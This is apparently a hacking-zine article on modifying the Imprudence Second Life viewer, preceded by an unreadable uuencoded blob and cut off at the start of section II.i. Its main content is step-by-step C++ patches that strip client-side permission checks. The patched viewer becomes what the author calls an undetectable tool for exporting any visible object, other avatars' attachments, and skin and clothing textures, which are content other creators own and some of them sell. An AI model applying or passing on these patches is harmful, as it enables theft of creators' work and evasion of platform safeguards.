M#/W^[,W-[@N6"\'>G+P\/KTX9O,P$D3PRTP$8<&*A)TG`+8`Z'DDUNPG__M, MK(A.7%.:)'-8#G,&3WN[SWN[8)NZ+]@)KB%@>;(4+)FS19@S5`T/X/X`W\,8 MIB\YKGL$32N"_.W2OP;(N?#++"S62#CT+8HB'?7[6_HZ.Q=EFF8BSUFQ$.SD M[&:?Q0G+DK(0;,6S.(RO1WI^(?R%=YL7(O-B4?2+,,W[N9K>RWV>KGMA>K/? M4_/ZG7"9)K#H*+F^AM\=]=>[%L4;^"HRQZ)97E;&1;@45M?+H4O=SN=>98LF1S-HX@IR$\Z'3_B0/R)$HI1AS&V\WTB$TK$/Y+##_A/;_04[ M:Q_[23](_'(IXL*[HW\%6R@8M<(`\[T^0._R6#.@WJEX M")WJ6Z>!7"Y\K#A0[]*,&&N6-":"/J5)G(,,C]EI$@NSA:`GM'N&\WDD+G&*6FP/3Q7C@IEDL)P'?IU(G*FG!WU.U9"4Q MF?A8BKPPHK!M_V$!60B$)W.E97IW0U!:DMF&0H)A7!1+Z`F+14UWC.R%4![C9^5$0=HU4# MU@&#<(E`7@Z&#TZQCV52"+3S=99Y<(2P6`CB79`P,CXP`0A?"1OU*H'9V#D# M0&4&:A$'U(+6"886&?PBJ`TTFAD;\@[2F$8@4(YE6RZS?OG%MKH=0_Q?:4M; M)*K.*/$!S$#]6BW@4*2V`Q:)V-%"Q'KL>8V[FH,PTWK2MRWVM09[!7-'\._7 MWTR@T;+=_A/KG]T5(SBUK]T*&%+Y]9A]LWV9<.`43,J*(V+@L<`C$ZQ]&"&C MX5A=\KRKN?#`@N1:NB^JQ?P6*^G41+L`NNX2;3PQ_FG1K@!W&S^ZE2:2]AJH MQKA4!D>9EO1#4;0EZ7.[INOA'%A?X'0T8A%?@T^!+N'/ MI;H^POV7VQP^PWX_K71'Q$*[-MK'N7ZU!#P=O33\?3R_'1Z\JJ+4C"RW&HH`"'8M=D&@/5S M?62+HFK4>7V4:KLX?SDB$:QS[.0,'*_,1QK8JXO+[0,"V/+'D6?CPD:6K:#\ M_.[XXO+D[>D4FZ'-MNR'B7\$#*.6 MC,"G9F_/V2P#!?1!D8V>YHNDC()IIH`U=WW+ M$K!QVZG!8]N1,,9M=P44&WNN\#]>!EH2.+9GHQP-P:;`>&MW;\_J-GF[L482 MV_J(N@PW!M<`[9RJXR=*D@\,#G=P48R28SLY(3&/PE_U:8\;0LN9E6$4;#LL M$.[1''<*.^=A!JO&F,#%8PT=?K);7I-K+6=)>DNM);<=JLJB:>\&ML=M.'O= MK=H$9_=:KHXHL3KW2?'.=^5\KA8#^YF6!LWQEW2.I\#9G)4I MD"-/[2B)(4[2S,I=8B*<]N!NX7+RTO/QH-N>?[>EW$*W/I,LQGJ]0^R[ M`#*U<*'-0L,:DBF5#J5>"?19CAZ`OD=U4N+@[HAFF\8M5(3H#@P[30X_0+R2 M&TFMLE$835O;!]J_Q+;W'IPWIUIRZR3M-+US@83T#LG[P\5 M-(%?E#RI*R[*YG5X(V(-K.V(\RUG<"Q6,GZJ!3U>+&[1\:Y&0)RCAZB01X_1 M9ER%$)7!:/E#,/T8.C,'K.=8TP>&TX5_QPI%MSVG/V8G9XT9;6MMID-`NV7V MNU=G#@7Q8XB=W$!_VS:T[7@XM0-^$_V&FU+W!S8B_JT?CA\Y_.A4#A\^;OCIQ9=!/_^BX0T?X#'\;$QX'(Z+=Z]?G_SM,<#E MR$?RY=V;-U^\RLN_GWW9*G'"%^)X^>;HXN*+D-",K@2S107.^G?"F# MU5P%I"D/`O`=P,)APW"?^0N>Y=):QV4455$H>B<.#.BQEL%^PBA=9[>P5]0# M#5U/Q;`FVL$8OF;C*0@+T)'4Z3X;`O%;B.&(#`PULD*'XVF6%(F?1-X=<4WG MWYTP_S_VH?N?((-SZ'>X^%&?^^]_=@?[P_W6_<_NTV?_N?_Y0SYWW_\8H=BX M^)$]YD*E?DE$+C,UYB*3T_^0^Q]]^Y&O<_T5;%22%OI7L0"/!UU",[1&9:-) MKZ;30>`K.6NO!RI/G:.`WD)G"MCQ5?[,U&_ M!2R,SW"\B;]ME]T#.\2Q)LJY?RPG.G3L?O_8.8[%&Q`8"32+X/[A"QR^2/(" M=D,O\=X)2P,?_?"'$11$>U%@Q%<P=6&N%HS+J+^+$$^3A%!;CWCPQHK1!$ M3X'KRUQM);HO82:"J19##'!M1`I[Y"+S7>2JBTN9T`RZF(L@V%!3T-6(^'(6 M0(`T:HG&53ZA2(^BX4:/]T&L. MB/$,&0^>R1)-$T23#D1.E&&IWS>BT6&(Q37W)=SW15IP5'2U4I)V5#D*8'9> MXT5YC.(#YDSY?3](!V351?WI(OR:5F&URC="%>9_L M&GDF3Q!/_G'@:/&@X^9J.)JXEB73!VU15'**J8Y'1`?62(.Y"PB,(.$1MRA< MFDH0WV(*Q^]TQH-IF?-KX5@G,5CT,#"+LZ08Z',().`SVV&?;$1@HUS;L!BE MU7B2)[!LQ1R3>]HY*^FB;`YQ`1V>S.[I6,!H9$@@2BSA!58A-_ODY4WM4E4^.#D724O.PJUMI'&WZ`Z`DP)"8T%+X/` MNCE-J]OUPCPO9SE=-Q6.%D9,X7C/4>2K\L5(5$)GP!CFY`=QL$IX0CMEM? M/LHF2B(:)V.;`<=(,^8!;MQI`YOV^TI+UQ;<E7=U'+$59SQI3]MP)>^<:`S521P:`:%CA.Z<=`F$"0SU22N=GRDG`9XB'P"# M+)[1V@.-HZ;P0\OD:C!A?Y+ND=OHU:HD*?JN?>-%-'&BJNC!%BBWR]M@:5VO M<*\V*1WI,T[<3JM353ML]\(;C\EKJMUAU4'85]8G$P=]QKJ/3]5.E%GTV9K8 MGBP_=,RXL4%5A5`3Z8R:B>-[=E;GU%LG7X.P2IZJ,:4N-CB8F8\NR5*$= MWK&.+57)^`EY^;FO6#]]G_<_:9=ZBG[T9^O0U-#I0KUY&B"AUYM+; MYK&_P&_=3Y]TUVZ[SV6?@+HISS*^_MQ]\?FS`0\4-@RN9BM2.+Y3?;8;Z<8: MQH\RUX,[0!EJQQ7_E55*IV#^J*".C*#3M&4Z:IU@_)7:M*EHW^Z;4]D_F`0_ M;&7ZM;+"Q&961^=UG4W#YRH"78W5W6HO:JU5$%]O-3)4:ZO)=YL(4)AB9P^++!I5W MTI;`&1YX;>(-.Z"[P8XV+V'`?>RHF\>'^/+%YXG1?P79^7M28E4A+#Z6E5CM M<^L%(EG+4<@]9:ET-Y6L8W\F;ZGA&\80,SZ+UFS%8[H(PEI]5!(#6XD\W0OU MP!6LZ/K7=T4!,5?JF%+59@F-$-:"?"2>2'\(#/115:TL*T#\3&",@NJ10+R% M,TK,9N;RCD@#0(E2/C^9-:S:0:-HKL_S-`H+$#^7S2&L=9E8IL4:RZY]ICV+ M]G^5Z^48''B2HZ$U-<';8.*9[F$28G=O#_^8^S.)2CDZ>.LUDF44$(#A+RHH MZBJY:V,E2_T@VA'B>_V:L-Z'UOKS8/=O%OLS,\A=-MQO$%`)?JV0#Z-&1"E/ M%P>_DD`@!%GP`]M.U#F:1F6\J235P8#)K")$JJ@Z%29C;:JNHI%CJ?DJ)/>) M<)*E9X=L4`_RJU&2"U5/R'JU.I+:.*1<_^Q6F0O5-B"$>J%U5#,PH1_T^'4H MP-74BY1I'+D0*>4R!)/3E7Y8UCML''7,U0H[,*'9/.+7^2'K%>R`;^0A#TTC MWAW(E#\%O(?L2E\!2`C@G\&IUX2*QV`O8P=A>DC$7]+C$QTO)IU@;5N MZ+'K1PD>>R5259V5Q*I>^]#^@LKE7C!_D=#[E!A02`.: M)SMQ>73!+& MU=:A3V7N]=#>TADB"Y^11VF9I<`/=7=OA)!<`CRN2LI&]'0HU8O80243ZA@* MTWX1!?&A4;M+X]#)UPUU8O7.(:VTO=*1Z"W8P?O)H'>;MH_O,^4(')Y?8!/,PP.64XG MLH(C-HRZ%-JE8FS+!FAN!K#HZBX!X59+/6*M+M21'-B(HHPH/'84KQ$_^7*` M6<7P(-V:R:`0(-:U(E+I2:!NK&'*[0A)@&`6X;$AQK'T;1?"U\<*Q+^R;_4] MH*&=P8B]@W&8R`IC(1\321\%^#8+BXQG:_DD1I7CI9AGO9?'/CO`"14MXAH; M==Q[R,&]+QR[`&??[KZHXDY)$"IPTUR3:;Z1CM8EUKDDL2YAQ0U"(PO\HOMW MNDW"PFA\\H,*6A7:YOAV#6R-7/>1#'%H3,/98Y6SYS3OZ+OR78[BN[S95GJ) M<)?LX*>CE]ML-#3G+^332:4:.9*YXFO&Y2,]&@9G`'D&8,XIIT@E2O@(YU>1 M)7B=7TA!JKQ;[0/+ZDF0E050#=B0G`6=&.R_V0')!:M.*"K5QD84L4R?;2`0 M:*RD"^ZQ$Y6ZEDE0]$%U&ARI@E,,QI84E*B'<-K_P6-]2YIU*7+\6SOJJS-? M]35ZE&=`7M8M.$KH<>/]MA&*$%3LIN`:8U#/6-R&E,I?9RBS1M0D+>,'EU8GN]OYGE`+YUZ%\ MX9SD^FFS7V9!F&$PFNI1W_%<5(D<5RV_:C%H$BJ?5D^C-S-%33A>]55%%A3Q M4L!,I0,U]JJ3",M\U-,#"$ATL;B\ZL*'V]*MS8L`;%U5*KZC,B"4$9"/P2B7PAD(:LG*>K1>=V32^ZA"PPX M^Q(A&D>5:YKA`YG&TUG&[F2#MS')S*$"=HD,WZHK?&@O&R/PK*L_"M./WA2G MVI3(MY%Z9O,E0=%^9$5(@`(7'8),%]4KFF3%A[/YA@'[ZQ1C*F%SE*IL=2KX MS3'RSE\)F*=@;9*7@MS5M@`36JT5U[A472A5&_8E#*)6*E43AK\JA&XH0#/A MZ;25QZL:6JG1"AV(,@TFK3:>-VAJABT3>40%9?L1#27F9$J9@SLLO0Z"JIU@!6>+QDGV$*R\`D;U4:AY M4[P\IN(+K$[!!MRXE2Q<*5/0@/H`V:)&3"H$N&E!,D62VMM&>X!QHGA[TI[`I0M3`S35*6(>,5`UK: M%#70\32-0I_^AQ[]V]YJM>H1VC*#!:"%#+8@_VB>M!$:CW+T/QA*H5Q/*R*^`U?FA(,4HK@MNB^?.,JG],ADH8`.CCIJ@%* MWD%)([8AJVV&;7LD)C$BX(KF;_$<"?TE2$,2-$1U&U%-O/J1@$OZV!)GT"WS M%@IW%`,GT'B,C+3S+M6X=V@T6]=JR*=5A;@M9!LWRDD&Q6NR_$>$`H8/PF&N MX/JX^1/*4KA%(L+;Q MY1_M'%U/VS#PN?D55O8P1RT)+71(E#QL%8('MDECDR:Q*D)MJD:D*6JI!!K[ M[[L[V[&=AI8B!FCR/:#0V.?SVW M(]8VX)!9H:]6/X70]S%\O8SFY%%^`%]*MV+78ONU6T%7(_V,J=7CNC`0')9# M#^QI2F%,Z%8ROU>C@^LB@EM%`>F/I7;4!/2,(--J!(M$>"#))(V!KT3;0'V] M`^-W>@SVIG'&U@7#[`A/;6!-Q-V\#,O=H.!*$OJT)@FR+DGD%_353%L'CP"R M_XW4C'\QQO;U_SH?NJ[^WXM`=?U-+^ISC;'!_]/9.^A4UK_;/N@Z_\]+0!19 MCG,SUB$#;F4=/VCZ!.\-]=K&?;.2^E63WX4D![\]H4O,V3#%:Z0Q*^NX@6%R MG%/\;O'IKH^&*=Z.Y?X-ZH-^T-.B%[0TCBBR>+?'LB/"%`J='OYO-F&4!K[' MCGU0*%"EQS87V2!4O\$P/<]K9&,N8R>+C\4=5V\EM8A(T8MA%@,/:,F`X@OZ M9?1C3S1?W\A\%.&9/ACO(PX#!!)!%)TIC[PN8G6(P0-2YT2Z%,6!+JDB"*$1 MV2>`)32HV(K!U`T#_+OP+,R^/UZC7+%B.4T>CQ2-3$3JB0E]2^7M''((T(JQ M\ZOLVJAFLM\RM'EJ-LN7TX(IR[6R]ONX]B5-U?4O7U06'4WBG;V>G)PD#N,0 M,S@C&<9XU!:6M22))V/&N?H]5)$'-28J4&T6L/M[QM5VIP(S/@.3N@%:5XC] MQG.\\)#/A`$;3N;I.*9#TO2323BYF?J"*K3AMNCU#N\AJ&%['LP)F4V*\0UE MNH^%0:6VN7"2R#IJNM;9<)(.KT)]D*NGHB5:`&MKCB`[DOTKBP"G"_N&8!>D MMU_AJ&$C3.#`O."=MCI>_G&6.3_.]V MNE7Y#\]._K\$@'BVE_SA?)(WK`]@B%[J`V(VRA/`\0WYO.BA/=!2Y'_[4)^D M2IH;;BZ=R2-3'$1<'V\',#Z:I0N\2985PWPY2E6`*-`LKS"S3,EN&7@,/&<5'J9<([/%G8W/6"+^6:O%DNIJ*?M6`P" M8@OPY<<<]B[H$K!\:H8HI$!S`MX!)>B9BZ)S]$9=JC*=7&PKS4_A/E30R^!'. MKM."^T@$3)C&1!&G=C,U@?DK#Y-PROM]PZV/^3@;G=[F$JS!)XZ`WY)3E$=B M8]]"9+(A)53768QF=BI&7*`4JV>S&S>2O=]NI_FIY-XRSR4OC!\?9*EL([C* M_)/CDJNBA$*E&1%&8Z@W4I=0#50JSG?04)QJX<"!`P<.'#APX,"!`P<.'#AP 2X,"!`P<.7A_^`BMJX``` ` end |=[ 0x05 ]=---=[ Hacking the Second Life Viewer For Fun & Profit - Eva ]-=| |=-----------------------------------------------------------------------=| |=------------------------=[ 01110010011000010110 ]=---------------------=| |=------------------------=[ 01100110010101101110 ]=---------------------=| |=------------------------=[ 10010110111001110011 ]=---------------------=| |=------------------------=[ 01110011011001010111 ]=---------------------=| |=-----------------------------------------------------------------------=| Index ------[ N. Preamble ------[ I. Part I - Objects ------[ II. Part II - Textures II. i. Textures - GLIntercept ------[ III. Postamble ------[ B. Bibliography ------[ A. Appendix |=-----------------------------------------------------------------------=| ------[ N. Preamble Second Life [1] is a virtual universe created by Linden Labs [2] which allows custom content to be created by uploading different file formats. It secures that content with a permission mask "Modify / Copy / Transfer", which allows creators to protect their objects from being modified, copied or transferred from avatar to avatar. The standard viewer at the time of this writing is 2.x but the 1.x old codebase is still around and it is still the most wide-spread one. Then, we have third party viewers, and those are viewers forked off the 1.x codebase and then "extended" to modify the UI and add features for convenience. Second Life works on the principle of separately isolated servers called SIMs (from, simulator, now recently renamed to "Regions") which are interconnected to form grids. The reasoning is that, if one SIM goes down, it will become unavailable but it will not take down the entire grid. A grid is just a collection of individual SIMs (regions) bunched together. Avatars are players that connect to the grid using a viewer and navigate the SIMs by "teleporting" from one SIM to the other. Technically, that just means that the viewer is instructed to connect to the address of a different SIM. A viewer is really just a Linden version of a web browser (literally) which relies on loads of Open Source software to run. It renders the textures around you by transferring them from an asset server. The asset server is just a container that stores all the content users upload onto Second Life. Whenever you connect to a SIM, all the content around you gets transferred to your viewer, just like surfing a website. There are a few content types in Second Life that can be uploaded by users: 1.) Images 2.) Sounds 3.) Animations Whenever I talk about "textures", I am talking about the images that users have uploaded onto Second Life. In order to upload one of them onto Second Life, you have to pay 10 Linden dollars. Linden maintains a currency exchange from Linden dollars to real dollars. At any point, depending on the build permission of the SIM you are currently on, you are able to create objects. Those are just basic geometric shapes called primitives, (or prims for short) such as cubes, spheres, prisms, etc... After you created a primitive, you can decorate it with images or use the Linden Scripting Language LSL [3] to trigger the sounds you uploaded or animate avatars like yourself. There is a lot to say about LSL, but it exceeds the scope of the article. You can also link several such primitives together to form a link set which, in turn, is called an object. (LISP fans dig in, Second Life is all about lists - everything is a list.) Coming back to avatars, your avatar has so called attachment-points which allow you to attach such an object to yourself. Users create content, such as hats, skirts, and so on and they sell them to you and you attach them to these attachment points. In addition to that, there are such things called wearables. Those are different from attachments because they are not made up of objects but they are rather simple textures that you apply to yourself. Those do not have any geometric properties in-world and function on the principle of layers, hiding the layer underneath. Finally, you have body parts which are also just textures. For example, eyes, your skin. The wearable layers get superimposed (baked) on you. For example, if you wear a skin and a T-shirt, the T-shirt texture will hide part of the skin texture underneath it. We are going to take a standard viewer: we will use the Imprudence [4] viewer, the current git version of which has such an export feature and we are going to modify it so it will allow exports of any in-world object. Later on, the usage of GLIntercept [7] will be mentioned since it can be used to export the wearables and the body parts mentioned which are just textures. Why does this work? There are a number of restrictions which are enforced by the server, and a number of actions that the server cannot control. For example, every action you trigger in Second Life usually gets a permission check with the SIM you are triggering the action on. Your viewer interprets the response from the SIM and if it is given the green light, your viewer goes ahead and performs the action you requested. Say, for example, that the viewer does not care whether the SIM approves it or not and just goes ahead and does it anyway. Will that work? It depends whether the SIM checks again. Some viewers have a feature called "Enable always fly.", which allows you to fly around in no-fly zones which is an instance of the problem. The SIM hints the viewer that it is a no-fly zone, however the viewer ignores it and allows you to fly regardless. Every avatar is independent in this aspect and protected from other avatars by a liability dumping prompt. Whenever an avatar wants to interact with you, you are prompted to allow them permission to do so. However, the graphics are always displayed and your viewer renders other avatars without any checks. One annoyance, for example, is to spam particles generated by LSL. Given a sufficiently slow computer, your viewer will end up overwhelmed and crash eventually. These days, good luck with that... But how do we export stuff we do not own, doesn't the server check for permissions? Not really, we are not going to "take" the object in the sense of violating the Second Life permissions. We are going to scan the object and note down all the parameters that the viewer can see. We are then going to store that in an XML file along with the textures as well. This will be done automatically using Imprudence's "Export..." feature. Whenever you upload any of the content types mentioned in the previous chapter, the Linden asset server generates an asset ID which is basically an UUID that references the content you uploaded. The asset server (conveniently for us) does not carry out any checks to see whether there is a link between an object referencing that UUID and the original uploader. Spelled out, if you manage to grab the UUID of an asset, you can reference it from an object you create. For example, if a user has uploaded a texture and I manage to grab the UUID of the texture generated by the asset server, then I can use LSL to display it on the surface of a primitive. It is basically just security through obscurity (and bugs)... ------[ I. Part I - Objects The "Export..." feature on the viewers we attack is not an official feature but rather a feature implemented by the developers of the viewers themselves. That generally means that the viewer only implements certain checks at the client level without them being enforced by the server. The "Export..." feature is just a dumb feature which scans the object's measurements, grabs the textures and dumps the data to an XML file and stores image files separately. Since it is a client-side check, we can go ahead and download Imprudence (the same approach would work on the Phoenix [5] client too) and knock out all these viewer checks. After you cloned the Imprudence viewer from the git repo, the first file we edit is at linden/indra/newview/primbackup.cpp. Along the very fist lines there is a routine that sets the default textures, I do not think this is needed to make our "Export..." work, but it is a good introduction to what is going on in this article: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setDefaultTextures() { if (!gHippoGridManager->getConnectedGrid()->isSecondLife()) { // When not in SL (no texture perm check needed), we can // get these defaults from the user settings... LL_TEXTURE_PLYWOOD = LLUUID(gSavedSettings.getString("DefaultObjectTexture")); LL_TEXTURE_BLANK = LLUUID(gSavedSettings.getString("UIImgWhiteUUID")); if (gSavedSettings.controlExists("UIImgInvisibleUUID")) { // This control only exists in the // AllowInvisibleTextureInPicker patch LL_TEXTURE_INVISIBLE = LLUUID(gSavedSettings.getString("UIImgInvisibleUUID")); } } } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The viewer uses a method isSecondLife() to check if it is currently on the official grid. Depending on the outcome of this method, the viewer internally takes decisions on whether certain things are allowed so that the viewer will conform to the Linden third-party viewer (TPV) policy [6]. The TPV policy is a set of rules that the creator of a viewer has to respect so that the viewer will be granted access to the Second Life grid (ye shall not steal, ye shall not spam, etc...). However, these checks are client-side only. They are used internally within the viewer and they have nothing to do with the Linden servers. What we do, is knock them out so that the viewer does not perform the check to see if it is on the official grid. In this particular case, we can knock out the check easily by eliminating the if-clause, like so: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setDefaultTextures() { //if (!gHippoGridManager->getConnectedGrid()->isSecondLife()) //{ // When not in SL (no texture perm check needed), we can // get these defaults from the user settings... LL_TEXTURE_PLYWOOD = LLUUID(gSavedSettings.getString("DefaultObjectTexture")); LL_TEXTURE_BLANK = LLUUID(gSavedSettings.getString("UIImgWhiteUUID")); if (gSavedSettings.controlExists("UIImgInvisibleUUID")) { // This control only exists in the // AllowInvisibleTextureInPicker patch LL_TEXTURE_INVISIBLE = LLUUID(gSavedSettings.getString("UIImgInvisibleUUID")); } //} } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Without this check, the viewer assumes that we are on any grid but the Second Life grid. You probably can notice that these checks are completely boilerplate. Let us move on to the next stop. Somewhere in linden/indra/newview/primbackup.cpp you will find the following: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ bool PrimBackup::validatePerms(const LLPermissions *item_permissions) { if(gHippoGridManager->getConnectedGrid()->isSecondLife()) { // In Second Life, you must be the creator to be permitted to // export the asset. return (gAgent.getID() == item_permissions->getOwner() && gAgent.getID() == item_permissions->getCreator() && (PERM_ITEM_UNRESTRICTED & item_permissions->getMaskOwner()) == PERM_ITEM_UNRESTRICTED); } else { // Out of Second Life, simply check that you're the owner and the // asset is full perms. return (gAgent.getID() == item_permissions->getOwner() && (item_permissions->getMaskOwner() & PERM_ITEM_UNRESTRICTED) == PERM_ITEM_UNRESTRICTED); } } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ This checks to see if you have full permissions, and are the owner and the creator of the object you want to export. This only applies to the Second Life grid. If you are not on the Second Life grid, then it checks to see if you are the owner and have full permissions. We will not bother and will modify it to always return that all our permissions are in order: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ bool PrimBackup::validatePerms(const LLPermissions *item_permissions) { return true; } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The next stop is in the same file, at the following method: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LLUUID PrimBackup::validateTextureID(LLUUID asset_id) { if (!gHippoGridManager->getConnectedGrid()->isSecondLife()) { // If we are not in Second Life, don't bother return asset_id; } LLUUID texture = LL_TEXTURE_PLYWOOD; if (asset_id == texture || asset_id == LL_TEXTURE_BLANK || asset_id == LL_TEXTURE_INVISIBLE || asset_id == LL_TEXTURE_TRANSPARENT || asset_id == LL_TEXTURE_MEDIA) { // Allow to export a grid's default textures return asset_id; } LLViewerInventoryCategory::cat_array_t cats; // yadda, yadda, yadda, blah, blah, blah... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ There is a complete explanation of what this does in the comments. This checks to see whether you are in Second Life, and if you are, it goes through a series of inefficient and poorly coded checks to ensure that you are indeed the creator of the texture by testing whether the texture is in your inventory. We eliminate those checks and make it return the asset ID directly: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ LLUUID PrimBackup::validateTextureID(LLUUID asset_id) { return asset_id; } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Once you compile the modified viewer, you will be able to export any object, along with its textures that you can see in-world. The next step is to modify the skin (i.e. Imprudence's user interface) so that you may export attachments from the GUI. First, let us enable the pie "Export..." button. I will assume that you use the default skin. The next stop is at linden/indra/newview/skins/default/xui/en-us/menu_pie_attachment.xml. You will need to add: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Now, we need to enable it for any avatar at linden/indra/newview/skins/default/xui/en-us/menu_pie_avatar.xml. You will need to add: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ After that, we must add them so the viewer picks up the skin options. We open up linden/indra/newview/llviewermenu.cpp and add in the avatar pie menu section: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // Avatar pie menu ... addMenu(new LLObjectExport(), "Avatar.Export"); +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ We do the same for the attachments section: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // Attachment pie menu ... addMenu(new LLObjectEnableExport(), "Attachment.EnableExport"); +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Now we are set. However, the viewer performs a check in "EnableExport" in linden/indra/newview/llviewermenu.cpp which we need to knock out: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ class LLObjectEnableExport : public view_listener_t { bool handleEvent(LLPointer event, const LLSD& userdata) { LLControlVariable* control = gMenuHolder->findControl(userdata["control"].asString()); LLViewerObject* object = LLSelectMgr::getInstance()->getSelection()->getPrimaryObject(); if((object != NULL) && (find_avatar_from_object(object) == NULL)) { // yadda, yadda, yadda, blah, blah, blah... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The code initially checks whether the object exists, if it is not worn by an avatar, and then applies permission validations to all the children (links) of the object. If the object exists, if it is not worn by an avatar and all the permissions for all child objects are correct, then the viewer enables the "Export..." control. Since we do not care either way, we enable the control regardless of any checks. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ class LLObjectEnableExport : public view_listener_t { bool handleEvent(LLPointer event, const LLSD& userdata) { LLControlVariable* control = gMenuHolder->findControl(userdata["control"].asString()); LLViewerObject* object = LLSelectMgr::getInstance()->getSelection()->getPrimaryObject(); if(object != NULL) { control->setValue(true); return true; // yadda, yadda, yadda, blah, blah, blah... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ I have left the NULL check for the object since if you happen to mis-click and select something other than an object, then the "Export..." pie menu will be enabled and your viewer will crash. More precisely, if you instruct the viewer to export something using the object export feature, and it is not an object, the viewer will crash since there are no checks performed after this step. Further on in linden/indra/newview/llviewermenu.cpp there is another test to see whether the object you want to export is attached to an avatar. In that case, the viewer considers it an attachment and disallows exporting. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ class LLObjectExport : public view_listener_t { bool handleEvent(LLPointer event, const LLSD& userdata) { LLViewerObject* object = LLSelectMgr::getInstance()->getSelection()->getPrimaryObject(); if (!object) return true; LLVOAvatar* avatar = find_avatar_from_object(object); if (!avatar) { PrimBackup::getInstance()->exportObject(); } return true; } }; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Again, we proceed the same way and knock out that check which will allow us to export objects worn by any avatar: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ class LLObjectExport : public view_listener_t { bool handleEvent(LLPointer event, const LLSD& userdata) { PrimBackup::getInstance()->exportObject(); return true; } }; +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ These changes will be sufficient in order to transform your viewer into an undetectable tool that will allow you to export any object along with the associated textures. There are indeed easier ways, for example toggling God mode from the source code and bypassing most checks. However, that will be discussed in the upcoming full article, along with explanations on what Linden are able to detect and wearable exports. Alternatively, and getting closer to a "bot", there are ways to program a fully non-interactive client [11] that will export everything it sees automatically. This will also be covered in the upcoming article since it takes a little more than hacks. The principle still holds: "who controls an asset UUID, has at least permission to grab the asset off the asset server". ------[ II. Part II - Textures In the first part we have talked about exporting objects. There is more fun you can have with the viewer too, for example, grabbing any texture UUID, or dumping your skin and clothes textures. What can we do about clothes? If you have an outfit you would like to grab, with the previous method you will only be able to export primitives without the wearable clothes. How about backing up your skin? The 1.x branch of the Linden viewer has an option, disabled by default and only accessible to grid Gods, which will allow you to grab baked textures. Grid Gods are essentially Game Masters and in the case of Second Life, they consist of the "Linden"s, which are Linden Labs employees represented in-world by avatars, conventionally having "Linden" as their avatar's last name. We open up linden/indra/newview/llvoavatar.cpp and we find: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index) { // Check if the texture hasn't been baked yet. if (!isTextureDefined(index)) { lldebugs << "getTEImage( " << (U32) index << " )->getID() == IMG_DEFAULT_AVATAR" << llendl; return FALSE; } if (gAgent.isGodlike() && !gAgent.getAdminOverride()) return TRUE; // yadda, yadda, yadda, blah, blah, blah... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Aha, so it seems that grid Gods are permitted to grab textures. That is fine, so can we: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index) { // Check if the texture hasn't been baked yet. if (!isTextureDefined(index)) { lldebugs << "getTEImage( " << (U32) index << " )->getID() == IMG_DEFAULT_AVATAR" << llendl; return FALSE; } return TRUE; if (gAgent.isGodlike() && !gAgent.getAdminOverride()) return TRUE; // yadda, yadda, yadda, blah, blah, blah... +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ But that is not sufficient. The 1.x viewer code has an error (perhaps intentional) which will crash the viewer when you try to grab the lower part of your avatar. In the original code at linden/indra/newview/llviewermenu.cpp, we have: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ else if ("lower" == texture_type) { handle_grab_texture( (void*)TEX_SKIRT_BAKED ); } else if ("skirt" == texture_type) { handle_grab_texture( (void*)TEX_SKIRT_BAKED ); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Which must be changed to: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ else if ("lower" == texture_type) { handle_grab_texture( (void*)TEX_LOWER_BAKED ); } else if ("skirt" == texture_type) { handle_grab_texture( (void*)TEX_SKIRT_BAKED ); } +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ You are free to recompile and go to the menu and dump the textures on you, including your skin. To grab your skin, you can undress your avatar and grab the textures. You can then export them using the method from Part I. For clothes, you would do the same by clothing your avatar, grabbing the relevant textures and then exporting them using the method from Part I. You might notice that the texture that will be dumped to your inventory is temporary. That is, it is not an asset and registered with the asset server. Make sure you save the texture, or, if you want to save a bunch of them, consider reading the first part of the article and place the textures on a primitive and export the entire primitive. Since the textures are baked, they represent an overlay of your skin and your clothes. If you want to extract just the clothes, you might need to edit the grabbed textures in a graphics editing program to cut out the skin parts. However, it might be possible to use a transparent texture for your skin when you grab the textures. In that case, you will not have to edit the clothes at all. ------[ II. Part II - Textures II. i. 